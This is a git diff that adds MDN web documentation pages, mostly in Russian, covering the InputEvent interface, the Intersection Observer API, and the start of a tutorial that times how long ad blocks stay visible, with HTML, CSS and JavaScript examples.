+<p>If you want to start tinkering with the API, jump in to the <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">reference documentation</a> and checking out the different methods.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>Reference</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome" title="/en-US/docs/IndexedDB/Using_IndexedDB_in_chrome">Using IndexedDB in chrome</a></li>
+</ul>
+
+<p>Tutorials</p>
+
+<ul>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">A simple TODO list using HTML5 IndexedDB</a><span class="external">. {{Note("This tutorial is based on an old version of the specification and does not work on up-to-date browsers - it still uses the removed <code>setVersion()</code> method.") }}</span></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/" title="http://www.html5rocks.com/en/tutorials/indexeddb/uidatabinding/">Databinding UI Elements with IndexedDB</a></li>
+</ul>
+
+<p>Related articles</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p>Firefox</p>
+
+<ul>
+ <li>Mozilla <a class="link-https" href="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom%2FindexedDB%2F.*%5C.idl&amp;regexp=1" title="https://mxr.mozilla.org/mozilla-central/find?text=&amp;string=dom/indexedDB/.*\.idl&amp;regexp=1">interface files0</a></li>
+</ul>
diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html
new file mode 100644
index 0000000000..8dd6cc087e
--- /dev/null
+++ b/files/ru/web/api/inputevent/index.html
@@ -0,0 +1,73 @@
+---
+title: InputEvent
+slug: Web/API/InputEvent
+translation_of: Web/API/InputEvent
+---
+<div>{{APIRef("DOM Events")}} {{SeeCompatTable}}</div>
+
+<p>The <strong><code>InputEvent</code></strong> interface represents an event notifying of editable content change.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt>
+ <dd>Создает <code>InputEvent</code> объект.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>This interface <em>inherits properties from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref("InputEvent.data")}}{{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the inserted characters. This may be an empty string if the change doesn't insert text (such as when deleting characters, for example).</dd>
+ <dt>{{domxref("InputEvent.dataTransfer")}}{{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("DataTransfer")}} object containing information about richtext or plaintext data being added to or removed from editable content.</dd>
+ <dt>{{domxref("InputEvent.inputType")}}{{readonlyinline}}</dt>
+ <dd>Returns the type of change for editable content such as, for example, inserting, deleting, or formatting text. See the property page for a complete list of input types.</dd>
+ <dt>{{domxref("InputEvent.isComposing")}}{{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating if the event is fired after {{event("compositionstart")}} and before {{event("compositionend")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface <em>inherits methods from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref('InputEvent.getTargetRanges()')}}</dt>
+ <dd>Returns an array of static ranges that will be affected by a change to the DOM if the input event is not canceled.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('InputEvents2','#interface-InputEvent','InputEvent')}}</td>
+   <td>{{Spec2('InputEvents2')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.InputEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ event("beforeinput") }}</li>
+ <li><a href="/en-US/docs/Web/API/InputEvent/input_event"><code>input</code> event</a></li>
+</ul>
diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..40fbfc7443
--- /dev/null
+++ b/files/ru/web/api/intersection_observer_api/index.html
@@ -0,0 +1,134 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+tags:
+  - Intersection Observer API
+  - пересечение объектов
+translation_of: Web/API/Intersection_Observer_API
+---
+<p>{{DefaultAPISidebar("Intersection Observer API")}}</p>
+
+<p class="summary">Intersection Observer API позволяет веб-приложениям асинхронно следить за изменением пересечения элемента с его родителем или областью видимости документа {{Glossary("viewport")}}.</p>
+
+<p>Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадежными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:</p>
+
+<ul>
+ <li>Отложенная загрузка изображений или другого контента по мере прокрутки страницы.</li>
+ <li>Реализация веб-сайтов с "бесконечным скроллом", где контент подгружается по мере того как страница прокручивается вниз, и пользователю не нужно переключаться между страницами.</li>
+ <li>Отчет о видимости рекламы с целью посчитать доходы от нее.</li>
+ <li>Принятие решения, запускать ли какой-то процесс или анимацию в зависимости от того, увидит пользователь результат или нет.</li>
+</ul>
+
+<p>В прошлом реализация обнаружения пересечения элементов подразумевала использование обработчиков событий и циклов, вызывающих методы типа {{domxref("Element.getBoundingClientRect()")}}, чтобы собрать необходимую информацию о каждом затронутом элементе. Поскольку весь этот код работает в основном потоке, возникают проблемы с производительностью.</p>
+
+<p>Рассмотрим веб-страницу с бесконечным скроллом. На ней используется библиотека для управления периодически размещаемой по всей странице рекламой, повсюду анимированная графика, а также библиотека для отображения всплывающих окон. И все эти вещи используют свои собственные правила для обнаружения пересечений, и все они запущены в основном потоке. Автор сайта может даже не подозревать об этой проблеме, а также может не знать, как работают сторонние библиотеки изнутри. В то же время пользователь по ходу прокрутки страницы сталкивается с тем, что работа сайта замедляется постоянным срабатыванием обнаружения пересечения, что в итоге приводит к тому, что пользователь недоволен браузером, сайтом и  своим компьютером.</p>
+
+<p>Intersection Observer API даёт возможность зарегистрировать callback-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на опредённое значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.</p>
+
+<p>Observer API не позволит узнать точное число пикселей или определить конкретные пиксели в пересечении; однако, его использование покрывает наиболее частые сценарии вроде "Если элементы пересекаются на N%, сделай то-то".</p>
+
+<h2 id="Основные_понятия">Основные понятия</h2>
+
+<p>Intersection Observer API позволяет указать функцию, которая будет вызвана всякий раз для элемента (<strong>target</strong>) при пересечении его с областью видимости документа (по-умолчанию) или заданным элементом (<strong>root</strong>).</p>
+
+<p>В основном, используется отслеживание пересечения элемента с областью видимости (необходимо указать <code>null</code> в качестве корневого элемента).</p>
+
+<p>Используете ли вы область видимости или другой элемент в качестве корневого, API работает одинаково, вызывая заданную вами функцию обратного вызова, всякий раз, когда видимость целевого элемента изменяет так, что она пересекает в нужной степени корневой элемент.</p>
+
+<p>Степень пересечения целевого и корневого элемента задается в диапазоне от  0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.</p>
+
+<h3 id="Пример_использования">Пример использования</h3>
+
+<p>Для начала с помощью конструктора нужно создать объект-наблюдатель, указать для него функцию для вызова и настройки отслеживания:</p>
+
+<pre class="brush: js">var options = {
+    root: document.querySelector('#scrollArea'),
+    rootMargin: '0px',
+    threshold: 1.0
+}
+var callback = function(entries, observer) {
+    /* Content excerpted, show below */
+};
+var observer = new IntersectionObserver(callback, options);</pre>
+
+<p>Параметр threshold со значением 1.0 означает что функция будет вызвана при 100% пересечении объекта (за которым мы следим) с объектом root</p>
+
+<h3 id="Настройки">Настройки</h3>
+
+<dl>
+ <dt>root</dt>
+ <dd>Элемент который используется в качестве области просмотра для проверки видимости целевого элемента. Должен быть предком целевого элемента. По умолчанию используется область видимости браузера если не определён или имеет значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">null</span></font>.</dd>
+ <dt>rootMargin  </dt>
+ <dd>Отступы вокруг root.  Могут иметь значения как свойство css margin: "<code>10px 20px 30px 40px" (top, right, bottom, left).</code> Значения можно задавать в процентах. По умолчанию все параметры установлены в нули.</dd>
+ <dt>threshold</dt>
+ <dd>Число или массив чисел, указывающий, при каком проценте видимости целевого элемента должен сработать callback. Например, в этом случае callback функция будет вызываться при появлении в зоне видимости каждый 25% целевого элемента:  [0, 0.25, 0.5, 0.75, 1]</dd>
+</dl>
+
+<h4 id="Целевой_элемент_который_будет_наблюдаться">Целевой элемент, который будет наблюдаться</h4>
+
+<p>После того, как вы создали наблюдателя, вам нужно дать ему целевой элемент для просмотра:</p>
+
+<pre class="brush: js">var target = document.querySelector('#listItem');
+observer.observe(target);
+</pre>
+
+<p>Всякий раз, когда цель достигает порогового значения, указанного для <code>IntersectionObserver</code>, вызывается функция обратного вызова <code>callback</code>. Где <code>callback</code> получает список объектов {{domxref ("IntersectionObserverEntry")}} и наблюдателя:</p>
+
+<pre class="brush: js">var callback = function(entries, observer) {
+    entries.forEach(entry =&gt; {
+        entry.time;               // a DOMHightResTimeStamp indicating when the intersection occurred.
+        entry.rootBounds;         // a DOMRectReadOnly for the intersection observer's root.
+        entry.boundingClientRect; // a DOMRectReadOnly for the intersection observer's target.
+        entry.intersectionRect;   // a DOMRectReadOnly for the visible portion of the intersection observer's target.
+        entry.intersectionRatio;  // the number for the ratio of the intersectionRect to the boundingClientRect.
+        entry.target;             // the Element whose intersection with the intersection root changed.
+        entry.isIntersecting;     // intersecting: true or false
+    });
+};
+</pre>
+
+<p>Обратите внимание, что функция обратного вызова запускается в главном потоке и должна выполняться как можно быстрее, поэтому если что-то отнимает много времени, то используйте {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>Также обратите внимание, что если вы указали опцию <code>root</code>, целевой элемент должен быть потомком корневого элемента.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>Основной интерфейс для API Intersection Observer. Предоставляет методы для создания и управления observer, который может наблюдать любое количество целевых элементов для одной и той же конфигурации пересечения. Каждый observer может асинхронно наблюдать изменения в пересечении между одним или несколькими целевыми элементами и общим элементом-предком или с их верхним уровнем {{domxref("Document")}}'s {{Glossary('viewport')}}. Предок или область просмотра упоминается как <strong>root</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Описывает пересечение между целевым элементом и его корневым контейнером в определенный момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего обратного вызова IntersectionObserver или путем вызова {{domxref ("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите https://github.com/mdn/browser-compat-data и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">Intersection Observer polyfill</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+ <li>{{domxref("IntersectionObserver")}} and {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
new file mode 100644
index 0000000000..ba2d788cd7
--- /dev/null
+++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html
@@ -0,0 +1,565 @@
+---
+title: Синхронизация видимости элемента с Intersection Observer API
+slug: Web/API/Intersection_Observer_API/Timing_element_visibility
+tags:
+  - API
+  - Example
+  - Intermediate
+  - Intersection Observer
+  - Intersection Observer API
+  - Гайды
+translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility
+---
+<div>{{DefaultAPISidebar("Intersection Observer API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> позволяет в асинхронном режиме уведомлять приложение о том, что какой-то интересующий нас элемент в той или иной степени перекрыл родительский или другой элемент, в том числе {{domxref("Document")}}. <span class="seoSummary">В этой статье мы построим пример блога, в котором в DOM динамически встраиваются рекламные блоки. Затем, с помощью Intersection Observer API, мы выясним, сколько времени показывается каждая отдельная реклама пользователю. Когда такая реклама показывается дольше, чем одну минуту, мы заменяем её на новую.</span></p>
+
+<p>Хотя многие элементы в нашем примере слабо связаны с реальным миром, этого будет достаточно для понимания API. В реальном мире статьи чаще всего отличаются между собой и хранятся не в клиенте, а загружаются из базы данных; да и реклама не состоит из одной только строчки текста.</p>
+
+<p>Есть важная причина, почему мы используем отслеживание видимости рекламы. Вышло так, что наиболее частое употребление Flash или скриптов в Web рекламе нужно для того, чтобы оценивать эффективность рекламы, а значит, её стоимость. Без Intersection Observer API эта задача свелась бы к повсеместному применению setTimeout и setInterval для каждой отдельной рекламы. Такие техники могут драматически ухудшить производительность страницы. Использование API в этом случае может позволит браузеру взять на себя обработку сложной логики и не только ускорит приложение, но и спасёт вас от ошибок, которые обязательно появятся при использовании setTimeout / setInterval.</p>
+
+<p>Начнём!</p>
+
+<div id="fullpage_example">
+<h2 id="Структура_приложения_HTML">Структура приложения: HTML</h2>
+
+<p>Структура Web-приложений не очень сложна. Мы будем использовать <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> для стилизации и макетирования, так что всё достаточно очевидно:</p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;header&gt;
+    &lt;h1&gt;A Fake Blog&lt;/h1&gt;
+    &lt;h2&gt;Showing Intersection Observer in action!&lt;/h2&gt;
+  &lt;/header&gt;
+
+  &lt;aside&gt;
+    &lt;nav&gt;
+      &lt;ul&gt;
+        &lt;li&gt;&lt;a href="#link1"&gt;A link&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#link2"&gt;Another link&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#link3"&gt;One more link&lt;/a&gt;&lt;/li&gt;
+      &lt;/ul&gt;
+    &lt;/nav&gt;
+  &lt;/aside&gt;
+
+  &lt;main&gt;
+  &lt;/main&gt;
+&lt;/div&gt;</pre>
+
+<p>Это заготовка для приложения. В верхней части приложения находится блок {{HTMLElement("header")}}. Ниже - боковая панель {{HTMLElement("aside")}}, заполненная ссылками. В самом конце структуры - основное тело приложения. Приложение стартует с пустым элементом {{HTMLElement("main")}} -  он будет заполнен позже с помощью JavaScript.</p>
+
+<h2 id="Стилизация_приложения_с_помощью_CSS">Стилизация приложения с помощью CSS</h2>
+
+<p>После определения структуры приложения мы переходим к стилизации. Давайте рассмотрим каждый компонент по отдельности.</p>
+
+<h3 id="Основа">Основа</h3>
+
+<p>Мы создаем стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.</p>
+
+<pre class="brush: css notranslate">body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}</pre>
+
+<p>Элемент приложения {{HTMLElement("body")}} сконфигурирован так, чтобы использовать общеупотребимый шрифт из семейства sans-serif и цвет <code>"aliceblue"</code> в качестве фона. Класс <code>"wrapper"</code> оборачивает всё приложение, включая header, sidebar и body content.</p>
+
+<p>Обёртка определяет также CSS Grid сетку, как сетку из двух колонок и двух строк. Первая колонка (размер вычисляется автоматически на основе контента) используется для боковой панели, а вторая колонка (будет использоваться для основного содержимого) имеет ширину, достаточную, чтобы вместить содержимое и занять всю доступную площадь.</p>
+
+<p>Первая строка будет использована для заголовка сайта. Размеры строк определяются схожим образом - размер первой вычисляется на основе контента, а второй - занимает всё доступной пространство, но не меньше размера, необходимого для показа содержимого.</p>
+
+<p>Ширина обёртки зафиксирована - 700px, так что её размер будет удобен для представления приложения в MDN.</p>
+
+<p>The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.</p>
+
+<h3 id="Заголовок">Заголовок</h3>
+
+<p>Заголовок достаточно прост, так как в нашем примере он содержит небольшой текст.</p>
+
+<pre class="brush: css notranslate">header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}</pre>
+
+<p>Значение {{cssxref("grid-row")}} равно 1, так как мы хотим поместить заголовок в верхнюю строку сеточной системы. Более интересно использование {{cssxref("grid-column")}}; Мы указываем здесь, что блок занимает пространство с первой колонки до первой с конца (то есть последней).</p>
+
+<h3 id="Боковая_панель">Боковая панель</h3>
+
+<p>Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создается с помощью элемента {{HTMLElement("aside")}}.</p>
+
+<pre class="brush: css notranslate">aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}</pre>
+
+<p>Важно отметить, что значение {{cssxref("grid-column")}} здесь установлено в 1 для того, чтобы поместить панель в левую часть экрана. Если вы поменяете это значение на "-1", то панель переместится вправо, однако, в этом случае, вам понадобится немного изменить стили внутренних элементов. Значение {{cssxref("grid-row")}} равно 2, чтобы боковая панель заняла область вдоль области контента.</p>
+
+<h3 id="Область_контента">Область контента</h3>
+
+<p>Контент будет содержаться в элементе {{HTMLElement("main")}}.</p>
+
+<pre class="brush: css notranslate">main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}</pre>
+
+<p>Главная особенность здесь - контент занимает вторую колонку и вторую строку.</p>
+
+<h3 id="Статьи">Статьи</h3>
+
+<p>Каждая статья состоит из элемента {{HTMLElement("article")}}:</p>
+
+<pre class="brush: css notranslate">article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}</pre>
+
+<p>Эти стили создают область с белым фоном с небольшими отступами как внутри области, так и между областями.</p>
+
+<h3 id="Рекламные_блоки">Рекламные блоки</h3>
+
+<p>Наконец, рекламные блоки. Нужно заметить, что каждый отдельный рекламный блок может изменять свои стили динамически (мы увидим это позже):</p>
+
+<pre class="brush: css notranslate">.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}</pre>
+
+<p>Здесь нет никакой магии. Простой CSS.</p>
+
+<h2 id="Совмещаем_с_JavaScript">Совмещаем с JavaScript</h2>
+
+<p>Перейдём к JavaScript коду, который всё оживит. Начнем с глобальных переменных:</p>
+
+<pre class="brush: js notranslate">let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;</pre>
+
+<p>Вот что здесь используется:</p>
+
+<dl>
+ <dt><code>contentBox</code></dt>
+ <dd>Ссылка на элемент {{HTMLElement("main")}}. Это место, куда мы будем вставлять статьи и рекламу.</dd>
+ <dt><code>nextArticleID</code></dt>
+ <dd>Каждая статья получает уникальный цифровой ID. Эта переменная позволяет понять, какой следующий ID использовать.</dd>
+ <dt><code>visibleAds</code></dt>
+ <dd>{{jsxref("Set")}} используется для отслеживания текущих видимых на экране рекламных блоков.</dd>
+ <dt><code>previouslyVisibleAds</code></dt>
+ <dd>Используется для временного хранения списка рекламных блоков в то время, как документ невидим (например, если пользователь переключился на другой таб)</dd>
+ <dt><code>adObserver</code></dt>
+ <dd>Содержит экземпляр {{domxref("IntersectionObserver")}}, используемый для вычисления наложения рекламных блоков и границ элемента <code>&lt;main&gt;</code>.</dd>
+ <dt><code>refreshIntervalID</code></dt>
+ <dd>Переменная для хранения ID интервала, который возвращается функцией {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Этот интервал будет использоваться для запуска переодических обновлений рекламных блоков.</dd>
+</dl>
+
+<h3 id="Установка">Установка</h3>
+
+<p>Для первичного запуска приложения мы вызовем функцию <code>startup()</code>:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}</pre>
+
+<p>Вначале мы получаем элемент {{HTMLElement("main")}}, в который можем вставлять содержимое. Затем мы устанавливаем обработчик на событие {{event("visibilitychange")}}. Это событие срабатывает, когда документ меняет состояние между видим/невидим, например, когда пользователь переключается между табами. Intersection Observer API не должен засчитывать пересечение с элементом Main, если пользователь не будет в это время смотреть на вкладку. Таким образом, мы должны останавливать наши таймеры каждый раз, когда пользователь уходит со страницы. С помощью этого обработчика.</p>
+
+<p>Затем мы устанавливаем параметры для {{domxref("IntersectionObserver")}}. Параметры определяют, что IntersectionObserver должен отслеживать перекрытия с областью видимости документа (параметр <code>root</code> в значении <code>null</code>). У нас нет отступов для модификации корневой области; мы хотим отслеживать совпадение границ элементов и видимого документа именно для целей обнаружения перекрытий.</p>
+
+<p>Параметр "порог" (<code>threshold</code>) содержит массив со значениями 0.0 и 0.75; Это заставит обработчик вызываться каждый раз, когда целевой элемент становится полностью обёрнут или только начинает выходить из зоны перекрытия (коэффициент перекрытия 0.0) или проходит порог в 75% видимости в обоих направлениях (коэффициент перекрытия 0.75).</p>
+
+<p>Наблюдатель <code>adObserver</code> создается с помощью конструктора <code>IntersectionObserver</code>. В аргументы конструктора мы передаём функцию обратного вызова (<code>intersectionCallback</code>) и ранее определенный объект параметров.</p>
+
+<p>После этого мы вызываем функцию <code>buildContents()</code>. Её мы напишем чуть позже. Функция генерирует и вставляет в контейнер статьи и рекламные блоки.</p>
+
+<p>В конце мы устанавливаем интервал, который каждую секунду запускает проверку - нужно ли что-то обновить. Нам необходимо второе обновление, так как в каждом отдельном рекламном блоке мы показываем таймер. В реальном приложении это не понадобится.</p>
+
+<h3 id="Обработка_изменения_видимости_документа">Обработка изменения видимости документа</h3>
+
+<p>Давайте рассмотрим обработчик события {{event("visibilitychange")}}. Это событие срабатывает, когда документ становится видим или невидим. Как правило, это случается, когда пользователь переключается между табами. Так как Intersection Observer отслеживает только перекрытия элемента с корневым элементом, нам необходимо отдельно позаботиться о детекции видимости документа. Для этого мы используем <a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a>.</p>
+
+<pre class="brush: js notranslate">function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}</pre>
+
+<p>Так как событие само по себе не указывает, стал ли документ видимым или, наоборот, невидимым, мы должны вручную проверить свойство {{domxref("document.hidden")}}. В теории, это событие может сработать несколько раз, поэтому нам нужно обрабатывать только те рекламные блоки, учёт которых ещё не был приостановлен.</p>
+
+<p>Для остановки таймеров нам нужно удалить ссылки на рекламные блоки из коллекции <code>visibleAds</code> и пометить их как неактивные. Чтобы это сделать, мы начинаем с сохранения ссылок на текущие видимые элементы в переменную<code> previouslyVisibleAds</code>. Это нужно, чтобы в дальнейшем можно было восстановить счётчики для этих блоков. Так мы указываем приложению, что эту рекламу не надо считать активной. Затем, если пользователь вернулся в документ, мы вызываем функцию  <code>updateAdTimer()</code> для каждого отложенного элемента. Эта функция обновляет общее время видимости элемента. После этого мы присваиваем переменной <code>dataset.lastViewStarted</code> значение 0, что означает, что таймер не запущен.</p>
+
+<p>Если документ стал видимым, мы выполняем обратный процесс: сначала мы проходим через коллекцию <code>previouslyVisibleAds</code>. Для каждого элемента мы присваиваем  <code>dataset.lastViewStarted</code> значение, соответствующее текущему времени документа (в миллисекундах с момента создания документа). Это время можно узнать с помощью  метода {{domxref("Performance.now", "performance.now()")}}. Затем мы присваиваем переменной  <code>visibleAds</code> закешированное ранее значение <code>previouslyVisibleAds</code>, с обнулением последней переменной. Теперь рекламные блоки перезапущены и настроены, так что время простоя не будет учиваться.</p>
+
+<h3 id="Обработчик_изменений_наложения">Обработчик изменений наложения</h3>
+
+<p>При каждой итерации в браузерном event loop, каждый наблюдатель  {{domxref("IntersectionObserver")}} проверяет, не прошел ли какой-либо из элементов-целей через пороговые значения наблюдателя.  Для каждого наблюдателя список таких целей собирается в один список и отправляется в функцию обратного вызова наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении <code>intersectionCallback()</code> выглядит так:</p>
+
+<pre class="brush: js notranslate">function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio &gt;= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) &amp;&amp; (adBox.dataset.totalViewTime &gt;= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}</pre>
+
+<p>Как мы упоминали ранее, функция обратного вызова {{domxref("IntersectionObserver")}}  получает на вход массив элементов, которые активировали наблюдателя. В нашей функции мы итерируемся по этому массиву. Если элемент пересекается с корневым элементом, мы знаем, что он стал видимым. Если он становится видимым более, чем на 75%, мы считаем, что реклама видима и мы запускаем таймер, выставляя значение  <code>dataset.lastViewStarted</code> равным времени изменения параметра перекрытия {{domxref("IntersectionObserverEntry.time", "entry.time")}}. Затем мы добавляем рекламный блок в набор <code>visibleAds</code>.</p>
+
+<p>Если рекламный блок уходит из зоны видимости, мы удаляем его из набор видимых элементов. Затем, в зависимости от значения {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}}, мы либо меняем рекламу, либо ставим на паузу. Так, если значение равно 0.0 и реклама уже была видна минимум минуту, мы вызываем функцию <code>replaceAd()</code> . В этом случае пользоватль видит разные рекламные блоки, но сама реклама меняется незаметно для пользователя.</p>
+
+<h3 id="Обработка_периодический_событий">Обработка периодический событий</h3>
+
+<p>Каждую секунду у нас срабатывает интервал <code>handleRefreshInterval()</code>, который мы задали в функции <code>startup()</code>. Главная задача этого интервала - обновлять таймеры каждую секунду и перерисовывать значение таймеров.</p>
+
+<pre class="brush: js notranslate">function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}</pre>
+
+<p>Массив <code>redrawList</code> используется для хранения списка рекламных блоков, которые должны быть перерисованы в следующем цикле перерисовки. Это нужно, так как таймеры текущих рекламных блоков не всегда совпадают с реальными таймингами из-за прочих системных процессов. Или из-за того, что вы указали в качестве интервала промежуток не в 1000мс.</p>
+
